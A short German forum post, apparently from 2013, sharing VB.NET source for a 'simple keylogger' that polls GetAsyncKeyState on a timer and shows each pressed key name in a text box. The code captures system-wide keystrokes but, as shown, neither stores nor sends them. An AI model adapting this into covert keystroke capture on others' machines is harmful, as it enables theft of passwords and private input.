Seite 1 von 1

Einfacher Keylogger

Verfasst: 29.07.2013, 13:47
von localhorst

Code: Alles auswählen

Imports System.IO

Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "User32" (ByVal vkey As Integer) As Integer

    Public Function getkeypress() As String
        For i As Integer = 1 To 255
            If GetAsyncKeyState(i) = -32767 Then
                Return [Enum].GetName(GetType(Keys), i)
            End If
        Next i
    End Function

    Private Sub Timer1_Tick_1(sender As Object, e As EventArgs) Handles Timer1.Tick
        Dim key As String = getkeypress()
        If key <> vbNullString Then
            TextBox1.Text = key
        Else : End If
    End Sub

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Timer1.Start()
    End Sub
End Class